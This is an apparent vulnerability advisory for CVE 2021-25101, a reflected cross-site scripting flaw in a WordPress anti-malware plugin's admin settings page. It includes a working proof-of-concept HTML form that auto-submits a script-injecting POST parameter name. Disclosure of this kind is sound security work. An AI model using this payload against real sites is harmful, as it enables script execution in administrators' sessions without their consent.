Anti-Malware Security and Brute-Force Firewall < 4.20.94 – Admin+ Reflected Cross-Site Scripting | CVE 2021-25101

Description

The plugin does not sanitise and escape the POST data before outputting it back in attributes of an admin page, leading to a Reflected Cross-Site scripting. Due to the presence of specific parameter value, available to admin users, this can only be exploited by an admin against another admin user.

Proof of Concept

The GOTMLS_mt parameter value is retrieved when being logged in as admin and view the source code of /wp-admin/admin.php?page=GOTMLS-settings for example. Then, use the code below to XSS another admin

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_mt=dd950912e933626ba251bed092e2f9ba&scan_what=2" id="hack" method="POST">
      <input type="hidden" name='x"><script>alert(/XSS/);</script>' value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>

  <script>
    var form1 = document.getElementById('hack');
    form1.submit();
</script>
</html>